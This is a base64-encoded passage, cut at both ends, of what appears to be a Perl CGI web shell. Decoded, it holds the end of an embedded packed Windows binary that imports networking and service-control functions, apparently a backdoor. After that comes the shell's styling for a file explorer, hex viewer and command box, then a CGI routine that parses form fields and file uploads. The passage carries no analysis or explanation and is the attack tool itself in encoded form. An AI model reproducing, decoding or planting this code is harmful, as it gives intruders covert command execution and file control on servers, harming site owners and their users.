BkaTd1c0YNCmlSZStyQkNzeFdkdWFZTnJOL2EybStFdk5JVGtKL2ZDYVJJSDJRbTBzV3JIT0M1bUNMWWxLOUhHN2d3SWlBY2p3OWtJdUhBcVdzVWINCjllaXUvckhnZHlJT2JUbzZ1MjNhZFJaa21KNkRGZG9US3ZuZVJic2JPRUpZTmNBTmR3dFdHaUpscUJSTlBSd3VBM0J5Q1MvVS84cm0NCjhGWnFaRUU0eEFZQVgxNkkwSkNURkVBQTVLUzVTR015SkJOSnRrZTRRYlVyd2NNSi9xYlpaSkw5L0liR29OQlN0RmZGblUxU3R0RUwNCkZNRVEwUVBHMUhiVU1JM3QrUGdQZ25oSDk4ZU1GSXJRLzBJNGtkOXlLZk9sL3lTVjZDd1dLdkRiWXNlNkhJUHBTTXJnY3pPM0pZakkNCkY0VUFCbzM0VGRjOVhaQUhmQkFFUEFOZ0k3YTN3TUhSaXN6WGlFY0JCUUlaVzdibVZnaFp4c2RjekpheFpTZU5TU3NsQVFJN20rUloNCkFxYVFJMFlocmp1UXIwYy9qTjhHekFPYXBtbWF4THkwcktTY05OMUMvNzlFanVTSmwrUUg2T2pUTkUzVDdPenc4UFFDMHpSTjlQajQNCi9CQmFmTmdvalpvRDhIb0p3RFRiNy8vd0FDMEREQ0FON0MzdFdGNWZvSkNkQ3duQkJadjVFYU1ONGUzRERBb3JqWFF4WjN3NS9IOTINCjIwc0dKQTM5NC94M2dDN0NlV3R4UmUrTk1DNlBGL21jVFBrcmlDMHN3bWE2N3BDWUM3Z0Q0RzBET2x2eWRiZHZBMDVZVDFhMlM5MHUNCllkZ2ZvKzRDN3dLOFpRUHlLWXlRSnlTTlY3WWtxeTBEcmtYWFhaaUJXbUJiTkFZOEEwM1RORTFFVEZSY1pIZHBtbWFFTHBjY0hCZ1kNCnBtbWFwaFFVRUJBTWtLWnBtZ3dJQ0FRRVRkZWRzQitRQlpnRHFMd2xPTGVFTHBlM3RZY0RXd2l6RDRNVElabE9DTGRvUUJuVkRMa1cNCllISzBTRnV0czUwbHVxd0dzQVVHd0l6RW82aVVvTHJzcGQ1Q2VLRVkrWUNodEFmYXREVmdpTHJhVkpKUUROY0w3WlkxQUNSeUIyTVUNCjYraGZaWElSSWFQTG5zWDJWbkt2OC9yeUszRU1XcmlELzcvQXd2eFh3ZTRQaTg2TGV2eHB5UVN2UzRsOTJDamszakNNQVVTWklMWk4NCnhyY0czTDBNRTlVSStIVi93UkdqUW56N2FqOUpYd3NNTzg5MnFaRUxCWHE3RXdRN0F3aDFTTDJsSVArdGYraHpITDl4MCsrTlRBR08NCjF5RjhzRVQrQ1hVdTJOYTdLM1VoT2Vza2RlQWVMWDA2OTJBaHZMREVFaVFHZVFTWnNYTEJVWWQ4RXdvRWplKzJHOHhkK0EwSWpJdjcNCndmOEVaSFJiMjlyL1AzdUdYeSs5NFpmc0ZXb0FXaVRRSzZnRnVuL01FYUdKVmZoSldqdktwbmIyL0xtdGRmUEtRUnY3UUQ0NytuYmINClVyc3RtUHEvZEdzdWlWRytVVHd5TW1DOXV1clNJVlJod1NLWEVSNjlMZFlTOHRJaGxFeFN2MXBaenJaSnZrb0xCQWdSRlM1czFKRW4NCjdOVUpPVE9HZkRNYnBJa3A4STBNK2NyV1hQY0xKb2t2RGdVSW9sMXEyWmRLWTRjSEJPL2JScnRmelUwUC9zR0lDM01sOHc5R0RuYXkNCjNiKzdpSXZQMCt0MkNSa05qVVN4eFc0Vit3a1k2eWtrd0UvZ0dXT0g0SjRsV1FRUG5ZUzNDVlQ2VnNNNGkxUkZveHFKWEJOWGhuZ3MNClMzTDZvWFpNV3FwOG90OS9wRmFuUUJUaTlxWnFEd05JREZLQUFFUE1YaU4ya2xOUmdCOHkvckQzSUJ3SlVBZ09PVUFRZzZTSTR1eHUNCjltd2tELzVJUXdwSTZyRTMzT0o1UXhPRFlBVCtFWU40Q0xyWE50MURiRk1RY0F4YUVna1FMWG9zTEdEMEQ5aEM0Ump5QklDU3k4Z28NCitzVy9vZk5NRWV4UmpVZ1VVWnNySE9QOWRtVml6djhOTHpzRklqVlB2N1pSdHhTV09va05UT3NpZFg1UHQ2T3NpVFUxWENsZ2t5cG0NCkwyZ2JuOXlOWUR5Q0xCdElGM2J3L0RzNlRCZHFTVFI5RG9QTy85UHVneW5IV3kzdC8rLzA2eEFtZ1ArMndMMHo5dFBvRGdPaGFZdlkNCk85OS91L0FiZndoekdZdEw0VHNqS3lQK0M4OTFDN3RkNDFZK0ZEdWFHSExuQjNWNTIwekk5NHZhTzlnbUZRWHI1aGtsdWtWM2RWa2sNCmM3TjdDRWgzeUxOekV6ZnI3U1lORzdkZm1iTXY3aGNsYm51RjIzWVh0REFXQ0NZZldWc3RiRnV0L0lCRHFEaHNCOTFyMVcwYjZTTnANCldxVVVpOE5icVcwVytzZEtMWXVNa0xZN2U5aWxnSkJFaURlTEVuQVI5Z3R2WlZYZGcyWDhoRWhFQzlhTEN3RU10ZEIxQjVGSkZLYi8NCkxsd2NYNHYrSXprTDEzVHBpNWNiaHpYcnlqUC9YRmhOZGt6LzdtQjNWODUxRFdacUlHUmZoY2w4QmRIaFI2NnUyKzdyOTRzZ1ZQbEQNCkNpdC84WHVOUmszL3dmNEVUb1ArUDM3NFhqZWIwcWFUekEwQkpHRWdmU3NSdDZVT0F1ODRuTlB6N0NNM3luSDNYSWhFaVFQK0QzWHENCllld2gwV0lENlF2ck1SY3JsU3U0ZG91aE1pRVpLVGFZTENibktBU0ZJZ3JBcmsydnkzb0UrQUNWcjNvSWtOdCtybXFFb3FsODhVSU0NCnBWa0drRm9pd21RRzFWTHBadjRMZlNuRW1Rc3VqVzJ1eHhGaXY3RE9qQWs3Z04xMnlRcVBDWHl1Nnk4b3ZnOXBvK1ZPdGdsN0JMRzgNCmNEM1N4YTBXdnU0Sk4ycDB1YVZmT25RTGlRcUpBL3l5ZVhWdCtHMGJ2TkVpQVJJeS9KK0xEbnI4VnFvaEpROCtkUm83SGZMUWlOU1YNCjYwczdwQWJTcGJwZ2F4R0pVRUlFQ0FZOU9Da0NEVy9zTU4yNndmOWRkVEJmaVZCeTRKQ1dCYVcwVjVkb01JUENCaXJIZElpY0RYL0INCllzQTlDbWpFUWVBSVI3YlBURVV3alRTQk0yU0pSdlpCQS8wUWRDcHFCR2ovYUxKWEdmUUdNTWhnREIxMkVGZTExSUNCL04xOFRxQVcNCis2MGt4WWwrQlA4RllrRndIYXBkcW92R3N1N3BvL1dOcmt0eHlFRUlNOXZGVCt2alJyUGdROE0zYWNDQld2dkVkaHRqTUlKRjZrQUkNCkFnVGR1alZzbkVvZSs0WEI1OTk1REJjdzVMT0xFSUFBUlEzNlRTYlJKeWNWalpjQWNDTm9jR243K25jOGpVZDNTUEtEaUg1bU1PL3UNCjlJMkkvQWJIUVB6d1FnNTZuL3Z0Ny8rbFNBVEhnT2dRRkFWVzNsRTNXQ3p3bG5iSEkwOE1CZmpldWdMZ2h1a21pYXlOU2d5SDI4dlcNCkNJOUJaSjVFUXJ5ZTQxV3E4UllzUTRySUM2QkdxMXZkZW9oT1F3c0plTUlzQ2pnb01NdG9mbXJQajRyUTJLdmtZRlpDZUpEbzRXaEUNClJEQmN6V2VMTmJsNDJGQkJoamhFczlaaEIzN1AvaWwwVUdnb0VHZ1VCNk5rYm5vcDN1SFdvMmk4Qzk0Vy85QmR2V2YvUFhRT29XZ1ENCkJWTVJ2aGlnVjZwaEEwRk5qZ2RXUjF6citJOE1WNVNzVXJ2NmVsWlRpOW5kRlBlYlRnVnZxSEVrRUc3YmRXL3JJZGJWamlpOHMzUWwNCmdTa2ZOL3RmZTNYckxSMVJnK01EZEEwZ0hhRU9LbFF2OENCYk5WQjZ6MmpEeVhRU09vTjMwajBEY1JFNjdtd1lnQWpRTmk3NktwZ2cNCkk4QjI5Mk92K2dZbnkzTHlGb1BHM2l3ZURMWEN0eU4xeGpuckdJSGl4d3d0OWtqVENRNEFCRFBTVSs1czk3dHRWUW9FaVFkZmRmaXcNCmRZV2pBamxDTUZsUVJMV0NVdVFjVko4UVhBSStmMFpYOGx0VFpJbWU0RmJVVnRhTXM1WGZSaE1kSStzaUlBeFJUd2crRzRoZUlnRUkNCjNtTFNXV3hjRkg0UW9IRUhSRlJkemxsWjVXRHJvdGZKSFJNZEZoeThKUVF1MlhSSXlPYjVFSE1xT3ROOUlBUWJzM1lnY3k1L0pLQ0QNCjV5VnpJUCtMYytSTm5JalcxNFZXR1FSZ214Q0NHM2ZFUWR3MkNNR0dYK3NUY1A4bUJieTFzUkdMT0dmY2RHYTZaRzIyTTl4aElWZjANClRTL2lMT2JzR3FXTUQrMS9pUkpQUmZkME12WkZEUVIwUUQ2em02bTJISGl5UU5WL0h0ckFiRzFrTWtqU2oxQzZrSWF5eU1lRDhndloNClhOMnpOdHlKWGVBdVZrb3lFbHV5ZlhmS3V0YmZkTTlrNUdkMG5JKzR6VzQzczNVRUErc0dqQ2hvSVBnZ05tYVUxVkMvdDNFTEZLR0wNCno4WngwUWdBbGtyTmkwUlcvRW9ORW15d1VFTHNRTzFKOU5qY0V0M3pERjdJS3g2RHd1U0NreGFLZEg0UE9ETDFPcXFCdHdTZTJlUkENClNYQnJmMmc4eTVIUENZQTdlRHo4TzVBQ0pOaDFCTHdENER0L0NEa0E4bWc4YUR3MFhUZFlQMThHVEFORVBBazJUZE0wTENRY1BIL3UNCk00Y0FhRHp3Z0FNRGtBU2JqS0E4ZndEbkVmS1FQckE5Q0QxSXNPdCtMSkFZQ3pnRFlEMS95Q0dRVndBK0FENjZickJRVzdSL3ZBUEUNCmJKcW1hY3pVM09UM1BVNElBUkovSHhBZ3dhYnJCUmdES0R3K2Z4Rm0rZ1hNL3lYQW1nQTFhbk1BLzZzV1NpdEJqOHdERjAwWWt3UGINCnB2Ni9jblZ1ZEdsdFpTQmxjbkp2Y2xFTkNnTlVBZmx2OWt4UFUxTVJEZ0JUU1U1SC9yTDJBbE5QVFVFU0VWSTJNREk0dDcrODNRZ3QNCklFdGhZbXgwYnlCcGJtbFdZV3cvMyt6YmFYb05hR1ZoY0Rjbk4yNXZkTFp2Y0dzOUJIVm43bk53WVdNalp1dzJZTzk3Ykc5M2FUaGgNCkJtOXVOeUI1Q3JrMmMzUmtXdnZ0WnpWd2RYSXJkbWx5ZEhVaE03N1k5dHVsWXlNZ1l3eHNLRjgwMm5hYlFsOHFaWGhjTDFpd2s3MzINCkJ0emlYekU1OTl2dTVyNXZjR1ZZTVhOdkQyUmxjMk5yYlRKZ0t6aEdKSUhmUUlod1pXUVpWeU0zZG1zMEpHMmJySFJvdnlHTTVOdGgNCkwyeHZZMnNYbXRzR1d6Umt0MkV1QXZhdDRkYWlJWEp0QUhCQVozSmhiU0I3SVJTMlNtMDJMekE1VDZNWldnb1FRU29yRlBLNVJqQXUNCkt6ZzlEK0g3WVhKbmRTaHpYekF5Wm90dDI2N0JibTVuZ204RmREb1IwQXBucldUbWYwMHRZQmovOExZNVpoVldhWE9xUXlzcklGS2cNClllNjdQVXhwWXJSeWVTY0tMUllhWjl2RFJRNGhFVkRVT3NJMnJFRFpBQzd2NWVEODlyYTVKU3hyYkhkdVBodEhaWFJNWWJFTGQyd3kNClFRSjJaVkN1ZFhBVC82MXRadzlYbFdRbWgyVnpjMkZuWlVKdk5iNnd4SGhCZlhNbE16SXVaQ3JQdGFJbk43NDVTQU1MVkpocnhISTYNCklBTUFxNlFlUUY0cHA3WnE5ZnRTVTAxVFV3ZGxiWmswVTFmZkFLWDV2M01nVFdGdUR1Y29Rblp5QUZ3djJnT1paTXEyQUNBQktDQ1oNClNCNEFTQUFRaEVBbVpBQVFnUVprQ0dRQkVJSmtDR1JBQWhEdXFzcmN2d0FCQjlzSWRaQXUyeGhiQlIvQVpKQnVrQXNkQ3dTV1FBWnANCkJvMElqbVJBQm1TUGtKRUZaRUFHa3BPeUxFUUhDQWZ2Q293a0x3dHZES3NBQlpNWjl6V2diNnVJYkQ5Y0IwM1RORTBKTUFvTUVPQjANCnIybVdRaEd3RWxjSEV4Y3pUZE5nR0NoWUIwMzNsazBheUVFYnV3Y2NhRFJOMHpSNFdIbElldE0wVGRNNC9EVC9KS3VJblFSVEFnVFMNClJlVFp3YjVnZ25tQ0lSZW0zd2VocGJ4NS92MkJuK0Q4TDBCK2dQeW93YVBhbzBIT0htR1hnZjRIUUc2UUliQzFMMEcyWCtjcjVQL1ANCm91U2lHZ0Rsb3VpaVczNmgvbGZ5MjkxUkJRUGFYdHBmWDlwcTJqTFQ0R1huOXRqZTRQazVNWDRBK0FNeUtDS3dXZG5WVVZGOFJ5UXcNCi9mOEdvRTFFUW5sMFpWUnZWMmxrWlVOb1lYSUQ4SCs3RkZWdUJtNWtiR1ZrUlhoalpYQUYrbGE1YlVacEptVVpEME4xY25LMm9GV3QNCnYxVUFjd0p3MmRZU0kya01RMWlUYklPMUtBNUJMMU5FZSt3THdHbHl0bTl5ZVVGRlUzbHpKN1BXRG14dEZGTnZheHRxOWh2QWRHR1ANCmNFbHVabThzN3JOWHVaYk5nRzl0Ylo3SjJqRDNUR2x1WlI2MXY4cTJKQUJqSlVXVFQzTDdGMXNBV1hNV21rRmtaSEt0Q1VBQkdFeGgNClBBQkhBcnBKVmdWQmJHQU5ZR3RNRFVpQkNqMzJOenRTWlF4RFFVTlFCMDF2WkN5Y1JiaHlaVWdxcUZZamMyZkJIak10QzA5RlRTZC8NClZJQmx3dDU1Y0NVUFYxUnJ1eVU4YWpTVlEwMXZJeEN3Q1R0QkRWZDFaVU1CMkpCbFRyODRSbkptS1d4bDdSaEZidTNzMEpwZTIwUjINCkdtOTVaaEdHRURaWHhlVWJyQUVVZWx2RFpCSXhleTgyRFkzUFR6WjdTWmdFVUlZWUNjMVFibnhTZEd4Z2QybThZZkEwRzdGMHlwR0oNCkFFTncySXk0Wm5ObFlHSlBzRFBpRmp0VFEyeEJEeVBZakZraVpBdzVDRmd5bW5HR0lScmJCZlpSRGtQbGJJWXR4RjRDbjNSamFGdnANClp6WUxtS01PN0IrR0hNdTJhYmFsbHN6L0F3STBGbmZMc2l3RUFnRU56bE5CVTl2bWFBR0lJUTRKQWdqOGx5Y3RjNEpRUlV3QkF3Q0oNCkM1US9qSWo5aCtBQUR3RUxBUWIwSjNaeTJSM1VGUVFRQUVBQUVBKzJZUk5pRWdjWFlPeHNGa3lpREJBSHk3M3NEUVlBYUVTRFIwRFcNCkRRaWkvQjdXRUJ2QkxoaDBPaTZRNExPUURUQ1krbUF1Y2syWWRZYUxKd2xUQTVwYjdKUnFRQzRtSnh3S1VQS2Jra0ZRd0JPMFJRQUENCmFNVnZzeVFBQUFEL0FBQUFBQUFBQUFBQUFBQmd2Z0JRUUFDTnZnREEvLzlYZzgzLzZ4Q1FrSkNRa0pDS0JrYUlCMGNCMjNVSGl4NkQNCjd2d1IyM0x0dUFFQUFBQUIyM1VIaXg2RDd2d1IyeEhBQWR0ejczVUppeDZEN3Z3UjIzUGtNY21ENkFOeURjSGdDSW9HUm9Qdy8zUjANCmljVUIyM1VIaXg2RDd2d1IyeEhKQWR0MUI0c2VnKzc4RWRzUnlYVWdRUUhiZFFlTEhvUHUvQkhiRWNrQjIzUHZkUW1MSG9QdS9CSGINCmMrU0R3UUtCL1FEei8vK0QwUUdORkMrRC9meDJENG9DUW9nSFIwbDE5K2xqLy8vL2tJc0NnOElFaVFlRHh3U0Q2UVIzOFFIUDZVei8NCi8vOWVpZmU1Y0FBQUFJb0hSeXpvUEFGMzk0QS9BM1h5aXdlS1h3Um13ZWdJd2NBUWhzUXArSURyNkFId2lRZUR4d1dJMk9MWmpiNEENClVBQUFpd2NKd0hSRmkxOEVqWVF3QUhBQUFBSHpVSVBIQ1ArV1VIQUFBSldLQjBjSXdIVGNpZmw1QncrM0IwZFFSN2xYU1BLdVZmK1cNClZIQUFBQW5BZEFlSkE0UERCT3ZZLzVaa2NBQUFpNjVZY0FBQWpiNEE4UC8vdXdBUUFBQlFWR29FVTFmLzFZMkg1d0VBQUlBZ2Y0QmcNCktIOVlVRlJRVTFmLzFWaGhqVVFrZ0dvQU9jUjErb1BzZ09uYm9mLy9BQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBSHlBQUFCUWdBQUENCkFBQUFBQUFBQUFBQUFBQUFpWUFBQUd5QUFBQUFBQUFBQUFBQUFBQUFBQUNXZ0FBQWRJQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUENCkFBQUFvSUFBQUs2QUFBQytnQUFBem9BQUFOeUFBQURxZ0FBQUFBQUFBUGlBQUFBQUFBQUFjd0FBZ0FBQUFBQkxSVkpPUlV3ek1pNUUNClRFd0FRVVJXUVZCSk16SXVaR3hzQUZkVE1sOHpNaTVrYkd3QUFFeHZZV1JNYVdKeVlYSjVRUUFBUjJWMFVISnZZMEZrWkhKbGMzTUENCkFGWnBjblIxWVd4UWNtOTBaV04wQUFCV2FYSjBkV0ZzUVd4c2IyTUFBRlpwY25SMVlXeEdjbVZsQUFBQVJYaHBkRkJ5YjJObGMzTUENCkFBQlBjR1Z1VTJWeWRtbGpaVUVBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUENCkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUENCkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUENCkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUENCkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQSI7DQokc2hlbGxfc3R5bGUgPSAiDQo8c3R5bGUgdHlwZT1cInRleHQvY3NzXCI+DQoqew0KCWZvbnQtZmFtaWx5OlRhaG9tYSxWZXJkYW5hLEFyaWFsOw0KCWZvbnQtc2l6ZToxMnB4Ow0KCWxpbmUtaGVpZ2h0OjIwcHg7DQp9DQpmb3Jtew0KCW1hcmdpbjowIGF1dG87DQoJdGV4dC1hbGlnbjpjZW50ZXI7DQp9DQpib2R5ew0KCWJhY2tncm91bmQ6dXJsKCciLiRFTlZ7J1NDUklQVF9OQU1FJ30uIj9pbWc9YmcnKSAjMzMzMzMzOw0KCWNvbG9yOiNmZmZmZmY7DQoJbWFyZ2luOjA7DQoJcGFkZGluZzowOw0KfQ0KaW5wdXQsdGV4dGFyZWF7DQoJYmFja2dyb3VuZDp1cmwoJyIuJEVOVnsnU0NSSVBUX05BTUUnfS4iP2ltZz1iZycpICMxMTExMTE7DQoJaGVpZ2h0OjI0cHg7DQoJY29sb3I6I2ZmZmZmZjsNCglwYWRkaW5nOjEuNXB4IDRweCAwIDRweDsNCgltYXJnaW46MnB4IDA7DQoJYm9yZGVyOjFweCBzb2xpZCAiLiRzaGVsbF9jb2xvci4iOw0KCWJvcmRlci1ib3R0b206NHB4IHNvbGlkICIuJHNoZWxsX2NvbG9yLiI7DQoJdmVydGljYWwtYWxpZ246bWlkZGxlOw0KfQ0KaW5wdXQ6aG92ZXIsdGV4dGFyZWE6aG92ZXJ7DQoJYmFja2dyb3VuZDojMGEwYTBhOw0KfQ0KYXsNCgljb2xvcjojZmZmZmZmOw0KCXRleHQtZGVjb3JhdGlvbjpub25lOw0KfQ0KYTpob3ZlcnsNCglib3JkZXItYm90dG9tOjFweCBzb2xpZCAjZmZmZmZmOw0KfQ0KaDF7DQoJZm9udC1zaXplOjE3cHg7DQoJaGVpZ2h0OjIwcHg7DQoJcGFkZGluZzoycHggOHB4Ow0KCWJhY2tncm91bmQ6Ii4kc2hlbGxfY29sb3IuIjsNCglib3JkZXI6MDsNCglib3JkZXItbGVmdDo0cHggc29saWQgIi4kc2hlbGxfY29sb3IuIjsNCglib3JkZXItcmlnaHQ6NHB4IHNvbGlkICIuJHNoZWxsX2NvbG9yLiI7DQoJYm9yZGVyLWJvdHRvbToxcHggc29saWQgIzIyMjIyMjsNCgltYXJnaW46MCBhdXRvOw0KCXdpZHRoOjkwJTsNCn0NCmgxIGltZ3sNCgl2ZXJ0aWNhbC1hbGlnbjpib3R0b207DQp9DQouYm94ew0KCW1hcmdpbjowIGF1dG87DQoJYmFja2dyb3VuZDojMDAwMDAwOw0KCWJvcmRlcjo0cHggc29saWQgIi4kc2hlbGxfY29sb3IuIjsNCglwYWRkaW5nOjRweCA4cHg7DQoJd2lkdGg6OTAlOw0KCXRleHQtYWxpZ246anVzdGlmeTsNCn0NCi5nYXVsew0KCWNvbG9yOiIuJHNoZWxsX2NvbG9yLiI7DQp9DQoucmVzdWx0LCAuYm94Y29kZXsNCgltYXJnaW46MCBhdXRvOw0KCWJvcmRlcjoxcHggc29saWQgIi4kc2hlbGxfY29sb3IuIjsNCglmb250LWZhbWlseTpMdWNpZGEgQ29uc29sZSxUYWhvbWEsVmVyZGFuYTsNCglwYWRkaW5nOjhweDsNCgl0ZXh0LWFsaWduOmp1c3RpZnk7DQoJb3ZlcmZsb3c6aGlkZGVuOw0KCWNvbG9yOiNmZmZmZmY7DQp9DQojZXhwbG9yZXIsIHRhYmxlew0KCXdpZHRoOjEwMCU7DQp9DQp0YWJsZSB0aHsNCglib3JkZXItYm90dG9tOjFweCBzb2xpZCAiLiRzaGVsbF9jb2xvci4iOw0KCWJhY2tncm91bmQ6IzExMTExMTsNCglwYWRkaW5nOjRweDsNCn0NCnRhYmxlIHRkew0KCXBhZGRpbmc6NHB4Ow0KCWJvcmRlci1ib3R0b206MXB4IHNvbGlkICMxMTExMTE7DQoJdmVydGljYWwtYWxpZ246dG9wOw0KfQ0KLnRibEV4cGxvcmVyIHRyOmhvdmVyLCAuaGV4dmlldyB0ZDpob3ZlcnsNCgliYWNrZ3JvdW5kOiIuJHNoZWxsX2NvbG9yLiI7DQp9DQouaGlkZGVuew0KCWRpc3BsYXk6bm9uZTsNCn0NCi50Ymxib3ggdGQgIHsNCgltYXJnaW46MDsNCglwYWRkaW5nOjA7DQoJYm9yZGVyLWJvdHRvbToxcHggc29saWQgIzIyMjIyMjsNCn0NCi50Ymxib3ggdHI6aG92ZXJ7DQoJYmFja2dyb3VuZDpub25lOw0KfQ0KI21haW53cmFwcGVyew0KCXdpZHRoOjEwMCU7DQoJbWFyZ2luOjIwcHggYXV0bzsNCgl0ZXh0LWFsaWduOmNlbnRlcjsNCn0NCiN3cmFwcGVyew0KCXdpZHRoOjkwJTsNCgltYXJnaW46YXV0bzsNCn0NCi5jbWRib3h7DQoJYm9yZGVyLXRvcDoxcHggc29saWQgIi4kc2hlbGxfY29sb3IuIjsNCglib3JkZXItYm90dG9tOjFweCBzb2xpZCAiLiRzaGVsbF9jb2xvci4iOw0KCW1hcmdpbjo0cHggMDsNCgl3aWR0aDoxMDAlOw0KfQ0KLmZwYXRoew0KCWJvcmRlci10b3A6MXB4IHNvbGlkICIuJHNoZWxsX2NvbG9yLiI7DQoJYm9yZGVyLWJvdHRvbToxcHggc29saWQgIi4kc2hlbGxfY29sb3IuIjsNCgltYXJnaW46NHB4IDA7DQoJcGFkZGluZzo0cHggMDsNCn0NCi5mcHJvcHsNCglib3JkZXItdG9wOjFweCBzb2xpZCAiLiRzaGVsbF9jb2xvci4iOw0KCWJvcmRlci1ib3R0b206MXB4IHNvbGlkICIuJHNoZWxsX2NvbG9yLiI7DQoJbWFyZ2luOjRweCAwOw0KCXBhZGRpbmc6NHB4IDA7DQp9DQouYm90dG9td3JhcHBlcnsNCgl0ZXh0LWFsaWduOmNlbnRlcjsNCn0NCi5idG57DQoJaGVpZ2h0OjI0cHg7DQoJYmFja2dyb3VuZDp1cmwoJyIuJEVOVnsnU0NSSVBUX05BTUUnfS4iP2ltZz1iZycpICMxMTExMTE7DQoJZm9udC1zaXplOjEwcHg7DQoJdGV4dC1hbGlnbjpyaWdodDsNCn0NCi5oZXh2aWV3ICwgLmhleHZpZXcgdGR7DQoJZm9udC1mYW1pbHk6IEx1Y2lkYSBDb25zb2xlLFRhaG9tYTsNCn0NCjwvc3R5bGU+DQoiOw0KDQpzdWIgaW5pdF9jZ2l7DQoJbXkgJGxlbmd0aCA9ICRFTlZ7J0NPTlRFTlRfTEVOR1RIJ307DQoJbXkgJGNvbnRlbnRfdHlwZSA9ICRFTlZ7J0NPTlRFTlRfVFlQRSd9Ow0KCW15IChAYXNzaWduLCAlZm9ybWxpc3QpOw0KCWlmIChkZWZpbmVkKCRsZW5ndGgpIGFuZCAkbGVuZ3RoID4gMCApew0KCQliaW5tb2RlIFNURElOOw0KCQlzeXNyZWFkKFNURElOLCAkXywgJGxlbmd0aCk7DQoJCWNob21wOw0KCQkkcXVlcnkgPSAkXzsNCgkJaWYgKCghJGNvbnRlbnRfdHlwZSkgfHwgKCRjb250ZW50X3R5cGUgZXEgJ2FwcGxpY2F0aW9uL3gtd3d3LWZvcm0tdXJsZW5jb2RlZCcpKXsNCgkJCUBhc3NpZ24gPSBzcGxpdCgnJicsJHF1ZXJ5KTsNCgkJCWZvcmVhY2ggKEBhc3NpZ24pIHsNCgkJCQlteSAoJG5hbWUsJHZhbHVlKSA9IHNwbGl0IC89LzsNCgkJCQkkdmFsdWUgPX4gdHIvKy8gLzsNCgkJCQkkdmFsdWUgPX4gcy8lKFthLWZBLUYwLTldW2EtZkEtRjAtOV0pL3BhY2soIkMiLCBoZXgoJDEpKS9lZzsNCgkJCQkkZm9ybWxpc3R7JG5hbWV9ID0gJHZhbHVlOw0KCQkJfQ0KCQl9DQoJCWVsc2V7DQoJCQkoJGJvdW5kYXJ5ID0gJGNvbnRlbnRfdHlwZSkgPX4gcy9eLipib3VuZGFyeT0oLiopJC9cMS87DQoJCQlAcGFpcnMgPSBzcGxpdCgvLS0kYm91bmRhcnkvLCAkcXVlcnkpOw0KCQkJQHBhaXJzID0gc3BsaWNlKEBwYWlycywxLCQjcGFpcnMtMSk7DQoJCQlmb3IgJHBhcnQgKEBwYWlycykNCgkJCXsNCgkJCQkoJGR1bXAsJGZsaW5lLCR2YWx1ZSkgPSBzcGxpdCgvXHJcbi8sJHBhcnQsMyk7DQoJCQkJbmV4dCBpZiAkZmxpbmUgPX4gL2ZpbGVuYW1lPVwiXCIvOw0KCQkJCSRmbGluZSA9fiBzL15Db250ZW50LURpc3Bvc2l0aW9uOiBmb3JtLWRhdGE7IC8vOw0KCQkJCShAY29sdW1ucykgPSBzcGxpdCgvO1xzKy8sICRmbGluZSk7DQoJCQkJKCRuYW1lID0gJGNvbHVtbnNbMF0pID1+IHMvXm5hbWU9IihbXiJdKykiJC9cMS9nOw0KCQkJCWlmKCRwYXJ0ID1+IC9maWxlbmFtZT1cIihbXiJdKilcIi8pew0KCQkJCQkkZm9ybWxpc3R7J3VwbG9hZG5hbWUnfSA9ICQxOw0KCQkJCX0NCgkJCQlpZiAoJCNjb2x1bW5zID4gMCkNCgkJCQl7DQoJCQkJCWlmICgkdmFsdWUgPX4gL15Db250ZW50LVR5cGU6LykNCgkJCQkJew0KCQkJCQkJKCRkdW1wLCRkdW1wLCR2YWx1ZSkgPSBzcGxpdCgvXHJcbi8sJHZhbHVlLDMpOw0KCQkJCQl9DQoJCQkJCWVsc2UNCgkJCQkJew0KCQkJCQkJKCRkdW1wLCR2YWx1ZSkgPSBzcGxpdCgvXHJcbi8sJHZhbHVlLDIpOw0KCQkJCQl9DQoJCQkJfQ0KCQkJCWVsc2UNCgkJCQl7DQoJCQkJCSgkZHVtcCwkdmFsdWUpID0gc3BsaXQoL1xyXG4vLCR2YWx1ZSwyKTsNCgkJCQkJaWYgKGdyZXAoL14kbmFtZSQvLCBrZXlzKCVDR0kpKSkNCgkJCQkJew0KCQkJCQkJaWYgKEB7JGZvcm1saXN0eyRuYW1lfX0gPiAwKQ0KCQkJCQkJew0KCQkJCQkJCXB1c2goQHskZm9ybWxpc3R7JG5hbWV9fSwgJHZhbHVlKTsNCgkJCQkJCX0NCgkJCQkJCWVsc2UNCgkJCQkJCXsNCgkJCQkJCQkkYXJydmFsdWUgPSAkZm9ybWxpc3R7JG5hbWV9Ow0KCQkJCQkJCXVuZGVmICRmb3JtbGlzdHskbmFtZX07DQoJCQkJCQkJJGZvcm1saXN0eyRuYW1lfVswXSA9ICRhcnJ2YWx1ZTsNCgkJCQkJCQlwdXNoKEB7JGZvcm1saXN0eyRuYW1lfX0sICR2YWx1ZSk7DQoJCQkJCQl9DQoJCQkJCX0NCgkJCQkJZWxzZQ0KCQkJCQl7DQoJCQkJCQluZXh0IGlmICR2YWx1ZSA9fiAvXlxzKiQvOw0KCQkJCQkJJGZvcm1saXN0eyRuYW1lfSA9ICR2YWx1ZTsNCgkJCQkJfQ0KCQkJCQluZXh0Ow0KCQkJCX0NCgkJCQkkZm9ybWxpc3R7JG5hbWV9ID0gJHZhbHVlOw0KCQkJfQ0KCQl9DQoJfQ0KCW15ICRxdWVyeSA9ICRFTlZ7J1FVRVJZX1NUUklORyd9Ow0KCWlmICgkcXVlcnkgPX4gL1x3Ky8pew0KCQlAYXNzaWduID0gc3BsaXQoJyYnLCRxdWVyeSk7DQoJCWZvcmVhY2ggKEBhc3NpZ24pIHsNCgkJCW15ICgkbmFtZSwkdmFsdWUpID0gc3BsaXQgLz0vOw0KCQkJJHZhbHVlID1+IHRyLysvIC87DQoJCQkkdmFsdWUgPX4gcy8lKFthLWZBLUYwLTldW2EtZkEtRjAtOV0pL3BhY2soI